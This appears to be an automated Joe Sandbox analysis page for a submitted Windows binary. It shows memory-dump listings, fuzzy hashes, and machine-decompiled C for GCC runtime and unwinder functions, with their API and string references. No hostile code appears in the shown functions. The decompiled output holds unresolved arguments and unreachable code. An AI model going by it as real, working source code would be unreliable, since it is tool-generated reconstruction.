Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43453b9929bbff52abb1b8f9cabf337180bbeaf879a7f7f976977e42a63f4f24
Instruction ID: 6b7042ad751f38ff3015ffe0b19704979f84bf8cab5a8c2a8cc277a3a1cc96ba
Opcode Fuzzy Hash: 43453b9929bbff52abb1b8f9cabf337180bbeaf879a7f7f976977e42a63f4f24
Instruction Fuzzy Hash: CC513932A043248BDB186F64C85567BB3E1FFD0304F07846ECE8657306F278AA19D398

Uniqueness

Uniqueness Score: -1.00%

Function 004487A0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddf9b86c3957f31eb01484d5405c8a5b16e153818a409f80b0462b4449d7da24
Instruction ID: 0a7bfc318db95dc9facfcc7c133ee7f08c557dbb215720846460ce634068e8ff
Opcode Fuzzy Hash: ddf9b86c3957f31eb01484d5405c8a5b16e153818a409f80b0462b4449d7da24
Instruction Fuzzy Hash: 28C012B8C047408AC200BF39910A328BAB06F52209F8568ACE48423202E639C218866F

Uniqueness

Uniqueness Score: -1.00%

Function 0043A380 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 286
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 41%

			E0043A380(void* __eax, signed int __edx, intOrPtr _a148, signed int _a152, intOrPtr _a156, CHAR* _a160, char _a187) {
				void* _v16;
				char _v44;
				signed int _v57;
				signed int _v60;
				signed int _v140;
				void _v156;
				signed int _v160;
				signed int _v176;
				void* _v180;
				char _v204;
				char* _v244;
				signed int _v264;
				intOrPtr _v272;
				char _v276;
				char _v424;
				signed int _v428;
				signed int _t141;
				struct HINSTANCE__* _t142;
				struct HINSTANCE__* _t145;
				_Unknown_base(*)()* _t146;
				void* _t149;
				CHAR* _t151;
				signed int _t156;
				void* _t159;
				signed int _t160;
				intOrPtr _t161;
				signed int _t169;
				signed int _t171;
				CHAR* _t172;
				struct HINSTANCE__* _t173;
				signed int _t174;
				signed int _t179;
				signed char _t180;
				intOrPtr* _t182;
				signed int _t185;
				signed int _t188;
				signed int _t191;
				signed int _t193;
				signed int _t197;
				void* _t199;
				char _t201;
				_Unknown_base(*)()* _t202;
				signed int _t203;
				signed int _t204;
				void* _t206;
				intOrPtr* _t208;
				char** _t209;
				char** _t210;
				struct HINSTANCE__** _t212;
				struct HINSTANCE__** _t213;

				_t204 = __edx;
				_t201 = __eax;
				_v180 = __eax;
				memcpy( &_v156, __eax, 0x20 << 2);
				_t208 = _t206 - 0xbc + 0xc;
				_t197 = _t201 + 0x40;
				_t185 = _v60;
				if((_t185 & 0x40000000) == 0) {
					L8:
					__eflags = _v140;
					if(_v140 == 0) {
						__eflags =  *0x57d3f8 - 4;
						_t141 =  *(_v180 + 0x48);
						if( *0x57d3f8 != 4) {
							goto L71;
						} else {
							_v160 = _t141;
							__eflags = _t185 & 0x40000000;
							if((_t185 & 0x40000000) != 0) {
								_v44 = 0;
							}
							_v140 =  &_v160;
							goto L9;
						}
					} else {
						goto L9;
					}
				} else {
					__eflags = _v44;
					if(_v44 != 0) {
						L9:
						_t149 = _v180;
						__eflags =  *(_t149 + 0x63) & 0x00000040;
						if(( *(_t149 + 0x63) & 0x00000040) != 0) {
							 *((char*)(_t149 + 0x70)) = 0;
						}
						 *((intOrPtr*)(_v180 + 0x10)) = 0;
						_t151 = _a160;
						__eflags = _t151 - 1;
						if(_t151 != 1) {
							__eflags = _t151 - 2;
							if(_t151 != 2) {
								abort();
								_push(_t204);
								_t204 = _t185;
								_push(_t197);
								_push(_t201);
								_t201 = 0;
								_push(_t172);
								_t172 = _t151;
								_t199 = _t172;
								memset(_t199, 0, 0x20 << 2);
								_t208 = _t208 - 0xec + 0xc;
								_t197 = _t199 + 0x20;
								_t172[0x60] = 0x40000000;
								_t172[0x4c] = _v204;
								_t156 = E004396E0(_t172,  &_v424);
								__eflags = _t156;
								if(_t156 != 0) {
									goto L72;
								} else {
									_t197 =  *0x528234; // 0x2
									__eflags = _t197;
									if(_t197 == 0) {
										__eflags =  *0x57d3f4;
										if( *0x57d3f4 == 0) {
											 *0x57d3f4 = 4;
											 *0x57d3f6 = 4;
											 *0x57d3f5 = 4;
											 *0x57d3f7 = 4;
											 *0x57d3fa = 4;
											 *0x57d3fb = 4;
											 *0x57d3f9 = 4;
											 *0x57d3f8 = 4;
											 *0x57d3ff = 0xc;
											 *0x57d400 = 0xc;
											 *0x57d401 = 0xc;
											 *0x57d402 = 0xc;
											 *0x57d403 = 0xc;
											 *0x57d404 = 0xc;
											 *0x57d3fd = 4;
											 *0x57d3fc = 4;
										}
									} else {
										_t179 =  *0x528238; // 0x0
										__eflags = _t179;
										if(__eflags == 0) {
											asm("lock add dword [0x52823c], 0x1");
											if(__eflags == 0) {
												 *0x57d3f4 = 4;
												 *0x57d3f6 = 4;
												 *0x57d3f5 = 4;
												 *0x57d3f7 = 4;
												 *0x57d3fa = 4;
												 *0x57d3fb = 4;
												 *0x57d3f9 = 4;
												 *0x57d3f8 = 4;
												 *0x57d3ff = 0xc;
												 *0x57d400 = 0xc;
												 *0x57d401 = 0xc;
												 *0x57d402 = 0xc;
												 *0x57d403 = 0xc;
												 *0x57d404 = 0xc;
												 *0x57d3fd = 4;
												 *0x57d3fc = 4;
												 *0x528238 = 1;
											} else {
												_t188 =  *0x528238; // 0x0
												_t197 = Sleep;
												__eflags = _t188;
												if(_t188 == 0) {
													do {
														 *_t208 = 0;
														Sleep(??);
														_t160 =  *0x528238; // 0x0
														_t208 = _t208 - 4;
														__eflags = _t160;
													} while (_t160 == 0);
												}
											}
										}
									}
									__eflags =  *0x57d3f8 - 4;
									if( *0x57d3f8 != 4) {
										goto L72;
									} else {
										_v428 = _t204;
										__eflags = _t172[0x63] & 0x00000040;
										if((_t172[0x63] & 0x00000040) != 0) {
											_t172[0x70] = 0;
										}
										_v264 = 1;
										_t172[0x10] =  &_v428;
										_v272 = 4;
										_v276 = 0;
										_t159 = E0043A380(_t172,  &_v424);
										_t172[0x4c] = _t201;
										return _t159;
									}
								}
							} else {
								_t161 = _a156;
								_t203 = 0;
								_t180 = 0;
								__eflags = 0;
								do {
									_t161 = _t161 + 1;
									_t174 =  *(_t161 - 1) & 0x000000ff;
									_t191 = (_t174 & 0x0000007f) << _t180;
									_t180 = _t180 + 7;
									_t203 = _t203 | _t191;
									__eflags = _t174;
								} while (_t174 < 0);
								_v176 = E00439D00(_t161,  &_v156, _t161 + _t203, 0);
								goto L22;
							}
						} else {
							_t171 = _a152;
							__eflags = _t171 - 0x11;
							if(_t171 > 0x11) {
								L71:
								abort();
								L72:
								abort();
								abort();
								abort();
								abort();
								L004476B0();
								L004476B0();
								abort();
								abort();
								abort();
								abort();
								abort();
								abort();
								_push(_t204);
								_push(_t197);
								_push(_t201);
								_t209 = _t208 - 0x1c;
								 *_t209 = "libgcc_s_dw2-1.dll";
								_t142 = GetModuleHandleA(_t172);
								_t210 = _t209 - 4;
								if(_t142 == 0) {
									 *0x4ce004 = 0x43c7d0;
									_t202 = 0x43c580;
								} else {
									_t173 = _t142;
									 *_t210 = "libgcc_s_dw2-1.dll";
									_t145 = LoadLibraryA(??);
									_t212 = _t210 - 4;
									 *0x57ddf0 = _t145;
									_v244 = "__register_frame_info";
									 *_t212 = _t173;
									_t146 = GetProcAddress(??, ??);
									_t213 = _t212 - 8;
									_t202 = _t146;
									_v244 = "__deregister_frame_info";
									 *_t213 = _t173;
									 *0x4ce004 = GetProcAddress(??, ??);
									_t210 = _t213 - 8;
								}
								if(_t202 != 0) {
									_v244 = 0x57d01c;
									 *_t210 = 0x5400f8;
									 *_t202();
								}
								 *_t210 = E00401590;
								return E004014C0();
							} else {
								__eflags = _t185 & 0x40000000;
								_t172 =  *(_t171 + 0x57d3f4) & 0x000000ff;
								_t182 =  *((intOrPtr*)(_t208 + 0x30 + _t171 * 4));
								if((_t185 & 0x40000000) == 0) {
									L15:
									__eflags = _t172 - 4;
									if(_t172 != 4) {
										goto L71;
									} else {
										_t182 =  *_t182;
										goto L17;
									}
								} else {
									__eflags =  *((char*)(_t208 + _t171 + 0x9c));
									if( *((char*)(_t208 + _t171 + 0x9c)) != 0) {
										L17:
										_v176 = _t182 + _a148;
										L22:
										_t197 = _v176;
										_t172 = 0;
										__eflags = 0;
										 *(_v180 + 0x48) = _t197;
										do {
											__eflags =  *(_t204 + 4 + _t172 * 8) - 5;
											if( *(_t204 + 4 + _t172 * 8) > 5) {
												goto L27;
											} else {
												switch( *((intOrPtr*)( *(_t204 + 4 + _t172 * 8) * 4 +  &M005391C0))) {
													case 0:
														goto L27;
													case 1:
														__esi = _v180;
														__eax = _v176;
														__eax = _v176 +  *(__ebp + __ebx * 8);
														__eflags =  *(__esi + 0x63) & 0x00000040;
														if(( *(__esi + 0x63) & 0x00000040) != 0) {
															goto L34;
														}
														goto L35;
													case 2:
														__eax =  *(__ebp + __ebx * 8);
														__eflags =  *((char*)(__esp + __eax + 0x9c));
														if( *((char*)(__esp + __eax + 0x9c)) != 0) {
															__eflags = __eax - 0x11;
															if(__eax > 0x11) {
																goto L71;
															} else {
																__edx =  *(__eax + 0x57d3f4) & 0x000000ff;
																__eax =  *(__esp + 0x30 + __eax * 4);
																__eflags = _v57 & 0x00000040;
																if((_v57 & 0x00000040) != 0) {
																	goto L43;
																} else {
																	__eflags = __dl - 4;
																	if(__dl != 4) {
																		goto L71;
																	} else {
																		__eax =  *__eax;
																		goto L43;
																	}
																}
															}
														} else {
															__edi = _v180;
															__eax =  *(__esp + 0x30 + __eax * 4);
															__eflags =  *(__edi + 0x63) & 0x00000040;
															if(( *(__edi + 0x63) & 0x00000040) != 0) {
																 *((char*)(__edi + __ebx + 0x6c)) = 0;
															}
															__esi = _v180;
															 *(_v180 + __ebx * 4) = __eax;
															goto L27;
														}
														goto L82;
													case 3:
														__eax =  *(__ebp + __ebx * 8);
														__edi = 0;
														__ecx = 0;
														__eflags = 0;
														__esi = __ebx;
														do {
															__eax = __eax + 1;
															__ebx =  *(__eax - 1) & 0x000000ff;
															 *(__eax - 1) & 0x000000ff =  *(__eax - 1) & 0x7f;
															__edx = ( *(__eax - 1) & 0x7f) << __cl;
															__ecx = __ecx + 7;
															__edi = __edi | ( *(__eax - 1) & 0x7f) << __cl;
															__eflags = __bl;
														} while (__bl < 0);
														__ebx = __esi;
														__esi = _v176;
														__edx = __eax + __edi;
														__ecx =  &_v156;
														__eax = E00439D00(__eax,  &_v156, __eax + __edi, _v176);
														__esi = _v180;
														__eflags =  *(__esi + 0x63) & 0x00000040;
														if(( *(__esi + 0x63) & 0x00000040) != 0) {
															L34:
															 *((char*)(__esi + __ebx + 0x6c)) = 0;
														}
														L35:
														__edi = _v180;
														 *(_v180 + __ebx * 4) = __eax;
														goto L27;
													case 4:
														_t166 = _v176 +  *((intOrPtr*)(_t204 + _t172 * 8));
														__eflags = _t172[0x57d3f4] - 4;
														if(_t172[0x57d3f4] > 4) {
															goto L71;
														} else {
															goto L26;
														}
														goto L82;
													case 5:
														__eax =  *(__ebp + __ebx * 8);
														__edi = 0;
														__ecx = 0;
														__eflags = 0;
														__esi = __ebx;
														do {
															__eax = __eax + 1;
															__ebx =  *(__eax - 1) & 0x000000ff;
															 *(__eax - 1) & 0x000000ff =  *(__eax - 1) & 0x7f;
															__edx = ( *(__eax - 1) & 0x7f) << __cl;
															__ecx = __ecx + 7;
															__edi = __edi | ( *(__eax - 1) & 0x7f) << __cl;
															__eflags = __bl;
														} while (__bl < 0);
														__ebx = __esi;
														__esi = _v176;
														__edx = __eax + __edi;
														__ecx =  &_v156;
														__eax = E00439D00(__eax,  &_v156, __eax + __edi, _v176);
														L43:
														__eflags =  *((char*)(__ebx + 0x57d3f4)) - 4;
														if( *((char*)(__ebx + 0x57d3f4)) <= 4) {
															L26:
															_t201 = _v180;
															( &(_t172[0x6c]))[_t201] = 1;
															 *((intOrPtr*)(_t201 + _t172 * 4)) = _t166;
															goto L27;
														} else {
															goto L71;
														}
														goto L82;
												}
											}
											goto L82;
											L27:
											_t172 =  &(_t172[1]);
											__eflags = _t172 - 0x12;
										} while (_t172 != 0x12);
										_t193 =  *((intOrPtr*)(_v180 + 0x60));
										_t169 = _t193 & 0x7fffffff;
										__eflags = _a187;
										if(_a187 != 0) {
											_t169 = _t193 | 0x80000000;
											__eflags = _t169;
										}
										 *(_v180 + 0x60) = _t169;
										return _t169;
									} else {
										goto L15;
									}
								}
							}
						}
					} else {
						goto L8;
					}
				}
				L82:
			}

0x0043a386
0x0043a38a
0x0043a397
0x0043a39b
0x0043a39b
0x0043a39b
0x0043a39d
0x0043a3aa
0x0043a3b6
0x0043a3ba
0x0043a3bc
0x0043a61f
0x0043a626
0x0043a629
0x00000000
0x0043a62f
0x0043a62f
0x0043a633
0x0043a639
0x0043a63b
0x0043a63b
0x0043a647
0x00000000
0x0043a647
0x00000000
0x00000000
0x00000000
0x0043a3ac
0x0043a3ac
0x0043a3b4
0x0043a3c2
0x0043a3c2
0x0043a3c6
0x0043a3ca
0x0043a3cc
0x0043a3cc
0x0043a3d4
0x0043a3db
0x0043a3e1
0x0043a3e4
0x0043a430
0x0043a433
0x0043a650
0x0043a660
0x0043a661
0x0043a663
0x0043a664
0x0043a665
0x0043a66c
0x0043a66d
0x0043a671
0x0043a679
0x0043a679
0x0043a679
0x0043a67b
0x0043a68d
0x0043a692
0x0043a697
0x0043a699
0x00000000
0x0043a69f
0x0043a69f
0x0043a6a5
0x0043a6a7
0x0043a713
0x0043a71a
0x0043a71c
0x0043a723
0x0043a72a
0x0043a731
0x0043a738
0x0043a73f
0x0043a746
0x0043a74d
0x0043a754
0x0043a75b
0x0043a762
0x0043a769
0x0043a770
0x0043a777
0x0043a77e
0x0043a785
0x0043a785
0x0043a6a9
0x0043a6a9
0x0043a6af
0x0043a6b1
0x0043a791
0x0043a799
0x0043a7d0
0x0043a7d7
0x0043a7de
0x0043a7e5
0x0043a7ec
0x0043a7f3
0x0043a7fa
0x0043a801
0x0043a808
0x0043a80f
0x0043a816
0x0043a81d
0x0043a824
0x0043a82b
0x0043a832
0x0043a839
0x0043a840
0x0043a79b
0x0043a79b
0x0043a7a1
0x0043a7a7
0x0043a7a9
0x0043a7b0
0x0043a7b0
0x0043a7b7
0x0043a7b9
0x0043a7be
0x0043a7c1
0x0043a7c1
0x0043a7c5
0x0043a7a9
0x0043a799
0x0043a6b1
0x0043a6b7
0x0043a6be
0x00000000
0x0043a6c4
0x0043a6c4
0x0043a6c8
0x0043a6cc
0x0043a6ce
0x0043a6ce
0x0043a6da
0x0043a6e5
0x0043a6ea
0x0043a6f5
0x0043a700
0x0043a705
0x0043a712
0x0043a712
0x0043a6be
0x0043a439
0x0043a439
0x0043a43f
0x0043a441
0x0043a441
0x0043a443
0x0043a443
0x0043a446
0x0043a44f
0x0043a451
0x0043a454
0x0043a456
0x0043a456
0x0043a46d
0x00000000
0x0043a46d
0x0043a3e6
0x0043a3e6
0x0043a3ec
0x0043a3ef
0x004c5e6b
0x004c5e6b
0x004c5e70
0x004c5e70
0x004c5e75
0x004c5e7a
0x004c5e7f
0x004c5e84
0x004c5e89
0x004c5e8e
0x004c5e93
0x004c5e98
0x004c5ea0
0x004c5ea5
0x004c5eaa
0x004014e0
0x004014e3
0x004014e4
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x0043a3f5
0x0043a3f5
0x0043a3fb
0x0043a402
0x0043a406
0x0043a412
0x0043a412
0x0043a415
0x00000000
0x0043a41b
0x0043a41b
0x00000000
0x0043a41b
0x0043a408
0x0043a408
0x0043a410
0x0043a41d
0x0043a423
0x0043a471
0x0043a475
0x0043a479
0x0043a479
0x0043a47b
0x0043a480
0x0043a480
0x0043a485
0x00000000
0x0043a487
0x0043a48b
0x00000000
0x00000000
0x00000000
0x0043a5d0
0x0043a5d4
0x0043a5d8
0x0043a5dc
0x0043a5e0
0x00000000
0x0043a5e6
0x00000000
0x00000000
0x0043a550
0x0043a554
0x0043a55c
0x0043a5f0
0x0043a5f3
0x00000000
0x0043a5f9
0x0043a5f9
0x0043a600
0x0043a604
0x0043a60c
0x00000000
0x0043a60e
0x0043a60e
0x0043a611
0x00000000
0x0043a617
0x0043a617
0x00000000
0x0043a617
0x0043a611
0x0043a60c
0x0043a562
0x0043a562
0x0043a566
0x0043a56a
0x0043a56e
0x0043a570
0x0043a570
0x0043a575
0x0043a579
0x00000000
0x0043a579
0x00000000
0x00000000
0x0043a4f0
0x0043a4f4
0x0043a4f6
0x0043a4f6
0x0043a4f8
0x0043a500
0x0043a500
0x0043a503
0x0043a509
0x0043a50c
0x0043a50e
0x0043a511
0x0043a513
0x0043a513
0x0043a517
0x0043a519
0x0043a51d
0x0043a520
0x0043a527
0x0043a52c
0x0043a530
0x0043a534
0x0043a536
0x0043a536
0x0043a536
0x0043a53b
0x0043a53b
0x0043a53f
0x00000000
0x00000000
0x0043a496
0x0043a49a
0x0043a4a1
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043a581
0x0043a585
0x0043a587
0x0043a587
0x0043a589
0x0043a590
0x0043a590
0x0043a593
0x0043a599
0x0043a59c
0x0043a59e
0x0043a5a1
0x0043a5a3
0x0043a5a3
0x0043a5a7
0x0043a5a9
0x0043a5ad
0x0043a5b0
0x0043a5b7
0x0043a5bc
0x0043a5bc
0x0043a5c3
0x0043a4a7
0x0043a4a7
0x0043a4ab
0x0043a4b0
0x00000000
0x0043a5c9
0x00000000
0x0043a5c9
0x00000000
0x00000000
0x0043a48b
0x00000000
0x0043a4b3
0x0043a4b3
0x0043a4b6
0x0043a4b6
0x0043a4bf
0x0043a4c4
0x0043a4c9
0x0043a4d0
0x0043a4d4
0x0043a4d4
0x0043a4d4
0x0043a4dd
0x0043a4ea
0x00000000
0x00000000
0x00000000
0x0043a410
0x0043a406
0x0043a3ef
0x00000000
0x00000000
0x00000000
0x0043a3b4
0x00000000

Strings

@, xrefs: 0043A604
L;L, xrefs: 0043A389

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID:
String ID: @$L;L
API String ID: 0-2346254618
Opcode ID: 1334b6df34cd56a980dfae8b3327f88f70b7dfbffa835f003672411d962e621f
Instruction ID: bd26320317d0d3adb56457498fe2c320f9e96c0e7bf31c133e2fce28a5a8246f
Opcode Fuzzy Hash: 1334b6df34cd56a980dfae8b3327f88f70b7dfbffa835f003672411d962e621f
Instruction Fuzzy Hash: ECC105B0508785CFE720CF28E484B5ABBF1AF95318F08485ED9D44B352C7B9A849DB97

Uniqueness

Uniqueness Score: -1.00%

Function 004C5E00 Relevance: 28.5, APIs: 19, Instructions: 42
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fwrite.MSVCRT ref: 004C5E2F
vfprintf.MSVCRT ref: 004C5E4F
abort.MSVCRT ref: 004C5E54
abort.MSVCRT ref: 004C5E5C
abort.MSVCRT ref: 004C5E61
abort.MSVCRT ref: 004C5E66
abort.MSVCRT ref: 004C5E6B
abort.MSVCRT ref: 004C5E70
abort.MSVCRT(0043AF3B), ref: 004C5E75
abort.MSVCRT(0043AF3B), ref: 004C5E7A
abort.MSVCRT(0043AF3B), ref: 004C5E7F
abort.MSVCRT(0043AF3B), ref: 004C5E84
abort.MSVCRT(0043AF3B), ref: 004C5E89
abort.MSVCRT(0043AF3B), ref: 004C5E8E
abort.MSVCRT(0043AF3B), ref: 004C5E93
abort.MSVCRT(?,?,20247C8B,?,004485F0,474E5543,0043B74E), ref: 004C5E98
abort.MSVCRT(?,?,00000000,?,00000000,74CB4D40,0043CC69), ref: 004C5EA0
abort.MSVCRT(?,?,00000000,?,00000000,74CB4D40,0043CC69), ref: 004C5EA5
abort.MSVCRT(?,?,00000000,?,00000000,74CB4D40,0043CC69), ref: 004C5EAA

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: abort$fwritevfprintf
String ID:
API String ID: 2868300786-0
Opcode ID: f5af636c13202952566db94a42b38269f619e2b5c0df4e386160eb0084d3ebc4
Instruction ID: 2d7a716f213578a5950593e323dd1ce756304ab67aebffc4663e487d8c1a6b3c
Opcode Fuzzy Hash: f5af636c13202952566db94a42b38269f619e2b5c0df4e386160eb0084d3ebc4
Instruction Fuzzy Hash: AAF0B2B040D7159AE300BF6AC18622EBAE5AF46358F429C1EA0C857242CB7C90429B6B

Uniqueness

Uniqueness Score: -1.00%

Function 00438D00 Relevance: 24.1, APIs: 16, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

abort.MSVCRT ref: 004C5E5C
abort.MSVCRT ref: 004C5E61
abort.MSVCRT ref: 004C5E66
abort.MSVCRT ref: 004C5E6B
abort.MSVCRT ref: 004C5E70
abort.MSVCRT(0043AF3B), ref: 004C5E75
abort.MSVCRT(0043AF3B), ref: 004C5E7A
abort.MSVCRT(0043AF3B), ref: 004C5E7F
abort.MSVCRT(0043AF3B), ref: 004C5E84
abort.MSVCRT(0043AF3B), ref: 004C5E89
abort.MSVCRT(0043AF3B), ref: 004C5E8E
abort.MSVCRT(0043AF3B), ref: 004C5E93
abort.MSVCRT(?,?,20247C8B,?,004485F0,474E5543,0043B74E), ref: 004C5E98
abort.MSVCRT(?,?,00000000,?,00000000,74CB4D40,0043CC69), ref: 004C5EA0
abort.MSVCRT(?,?,00000000,?,00000000,74CB4D40,0043CC69), ref: 004C5EA5
abort.MSVCRT(?,?,00000000,?,00000000,74CB4D40,0043CC69), ref: 004C5EAA

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 7a3ec280ec871a4adee9a3c19c954361783711c5e30e259763cf2fd96f29e67d
Instruction ID: c3314a561bb8b10f61bc5a763ea6bab2c5d7f56e3d63cb34c165ee23ecd1e6cf
Opcode Fuzzy Hash: 7a3ec280ec871a4adee9a3c19c954361783711c5e30e259763cf2fd96f29e67d
Instruction Fuzzy Hash: D4212B327083248FD700CF59D881665B3A6EBC5328F19897FF9488B346C67D6C069779

Uniqueness

Uniqueness Score: -1.00%

Function 0044A2E0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 130
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT ref: 0044A351
fwrite.MSVCRT ref: 0044A3F8
fputs.MSVCRT ref: 0044A415
fwrite.MSVCRT ref: 0044A43E
fputs.MSVCRT ref: 0044A45D
fwrite.MSVCRT ref: 0044A48C
fwrite.MSVCRT ref: 0044A4BE
abort.MSVCRT ref: 0044A4C3
abort.MSVCRT ref: 004C44EB
free.MSVCRT ref: 004C44F3

Part of subcall function 004375B0: strlen.MSVCRT ref: 00437635
Part of subcall function 004375B0: memcpy.MSVCRT ref: 00437650
Part of subcall function 004375B0: free.MSVCRT(?,?,?,?,?,?,?,?,?,0044A3CC), ref: 0043765A

Strings

-, xrefs: 0044A471
`wD, xrefs: 0044A3D3, 0044A46B, 0044A49D
not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/): , xrefs: 0044A2F9

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: fwrite$abortfputsfreememcpy$strlen
String ID: -$`wD$not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/):
API String ID: 4144276882-3638948623
Opcode ID: cc7f4ae076412ea673969b0efff10f68582223c993be7705a0c40e08a4b8a690
Instruction ID: 7cb0bfd46f4cecd5cd90af5989746db7e9bfac6dce03688d2c913449cab87e4e
Opcode Fuzzy Hash: cc7f4ae076412ea673969b0efff10f68582223c993be7705a0c40e08a4b8a690
Instruction Fuzzy Hash: A75125B48087059EE710EF69C48975EBBE4AF85318F01C91EE4D88B382DBB88585DF56

Uniqueness

Uniqueness Score: -1.00%

Function 0043CBF0 Relevance: 18.2, APIs: 12, Instructions: 162COMMON

Download Yara Rule

APIs

